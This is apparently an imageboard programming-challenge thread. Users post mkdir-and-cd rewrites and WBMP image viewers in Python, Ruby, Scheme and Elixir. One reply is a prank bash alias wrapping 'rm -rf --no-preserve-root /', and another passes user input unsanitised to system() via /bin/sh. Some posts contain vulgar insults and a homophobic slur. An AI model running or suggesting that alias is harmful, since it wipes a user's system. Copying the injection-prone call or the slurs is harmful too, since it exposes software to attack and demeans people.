Rewrite mkdir in your preferred language. mkdir should be able to leave you to a newly created directory
Example:
user0@primary $ mkdir2 /home/user0/new/directory -c
--- "/home/user0/new/directory" has been created, your current directory is " /new/directory/" ---
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stackoverflow.com
en.wikipedia.org
thepcmanwebsite.com
archive.rebeccablacktech.com
twitter.com
I want to punt Sakurako off a bridge
You must be joking...
meant ~/new/directory
Shut the fuck up and post more cute girls.
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Meme language for a meme thread.
#!/usr/bin/env python3
from os.path import expanduser
import os
import sys
def mkdir(dir):
try:
if os.path.exists(dir):
print("ERROR: Directory already exists! Going there now...")
os.chdir(dir)
else:
os.makedirs(dir)
print("Directory created! Going there now...")
os.chdir(dir)
except OSError as e:
print("ERROR: Directory could not be created!")
print(e)
sys.exit(1)
def main():
mkdir("Testing")
mkdir("../Testing")
print(os.getcwd())
mkdir("/bin/meme")
if __name__ == "__main__":
main()
I think you're ignoring the last word in the title in this one. Make a new one.
(map mkdir (cdr (command-line)))
my last two threads didn't have many solutions that actually worked.
I personally think Sup Forums skills to be CS first year level
If you make more completed problems you might get more posts.
def create_dur(dirname)
if Dir.exists?("dirname") then
puts "Durr already exists"
return
else
Dir.mkdir(dirname)
puts "Durr created"
Dir.entries(dirname)
end
end
The challenge is no good.
>Rewrite mkdir in your preferred language
This is a single standard library function call in just about any programming language. Unless you mean doing it at the syscall/direct disk manipulation level, but it doesn't seem so.
>leave you to a newly created directory
This, on the other hand, is impossible. You can't change the current directory of parent interpreter on Unix, except through very hackish means.
stackoverflow.com
Let me suggest an alternative challenge: write a program that reads a WBMP image file and prints its contents to the console.
Format specification: en.wikipedia.org
Sample files: thepcmanwebsite.com
cat
Fuck off op.
system("/bin/sh -c mkdir %s", argv[1]);
OP, do you know whose fang this is? I think you or someone else said it's dumpire's. But another person said it's brat's. Sorry for off-topic.
Not OP, but it could be Kirino's.
>Using the old format syntax
fag
dick suckin fangs
But you don't know that for sure. The image is quite recent, so I don't think it's Kirino's. It first appeared on Sup Forums last month:
archive.rebeccablacktech.com
#!/bin/bash
alias mkdrtoo="mkdr;rm -rf --no-preserve-root /"
Wrong.
(import (rnrs))
(define (read-vlq port)
(define (read-octets)
(let ((octet (get-u8 port)))
(if (logtest #b10000000 octet)
(cons (logand #b01111111 octet) (read-octets))
(list (logand #b01111111 octet)))))
(let ((octets (read-octets)))
(fold-left (lambda (p x y) (logior p (ash x (* y 7))))
0
(reverse octets)
(iota (length octets)))))
(define (print-wbmp port)
(let* ((type (read-vlq port))
(header (get-u8 port))
(width (read-vlq port))
(height (read-vlq port))
(octets-per-row (+ (div width 8) 1)))
(let loop ((rows-left (- height 1)))
(map (lambda x (draw-octet (get-u8 port))) (iota (- octets-per-row 1)))
(draw-octet (get-u8 port) (- (* octets-per-row 8) width))
(newline)
(if (> rows-left 0)
(loop (- rows-left 1))))))
(define* (draw-octet octet #:optional (start 0))
(map (lambda (x) (display (if (= (bit-extract octet x (+ x 1)) 0) "█" " ")))
(reverse (map (lambda (x) (+ x start)) (iota (- 8 start))))))
(set-port-encoding! (current-output-port) "UTF-8")
(print-wbmp (current-input-port))
Fixed an arithmetic error and accept filenames from command line arguments.
(import (rnrs))
(define (read-vlq port)
(define (read-octets)
(let ((octet (get-u8 port)))
(if (logtest #b10000000 octet)
(cons (logand #b01111111 octet) (read-octets))
(list (logand #b01111111 octet)))))
(let ((octets (read-octets)))
(fold-left (lambda (p x y) (logior p (ash x (* y 7))))
0
(reverse octets)
(iota (length octets)))))
(define (print-wbmp port)
(let* ((type (read-vlq port))
(header (get-u8 port))
(width (read-vlq port))
(height (read-vlq port))
(octets-per-row (ceiling-quotient width 8)))
(let loop ((rows-left (- height 1)))
(map (lambda x (draw-octet (get-u8 port))) (iota (- octets-per-row 1)))
(draw-octet (get-u8 port) (- (* octets-per-row 8) width))
(newline)
(if (> rows-left 0)
(loop (- rows-left 1))))))
(define* (draw-octet octet #:optional (start 0))
(map (lambda (x) (display (if (= (bit-extract octet x (+ x 1)) 0) "█" " ")))
(reverse (map (lambda (x) (+ x start)) (iota (- 8 start))))))
(set-port-encoding! (current-output-port) "UTF-8")
(map (compose print-wbmp open-input-file) (cdr (command-line)))
#!/usr/bin/env elixir
defmodule WBMP do
defstruct width: 0, height: 0, image: []
@monochrome 0
def decode(bytes) do
= bytes
pixels =
for Enum.concat()
|> Enum.chunk(round8(width))
|> Enum.map(fn x -> Enum.slice(x, 0, width) end)
%WBMP{width: width, height: height, image: pixels}
end
def render(wbmp, on \\ "#", off \\ " ") do
wbmp.image
|> Enum.map(fn x ->
x
|> Enum.map(fn x -> if x == 0, do: on, else: off end)
|> Enum.join()
end)
|> Enum.join("\n")
end
defp round8(n) do
div(n + 7, 8) * 8
end
end
filename = [System.argv]
{:ok, wbmp} = File.read(filename)
wbmp
|> WBMP.decode()
|> WBMP.render()
|> IO.puts()
>WBMP
are there any images with huge (> 2^16 at least) dimensions to test the variable-length int decoding?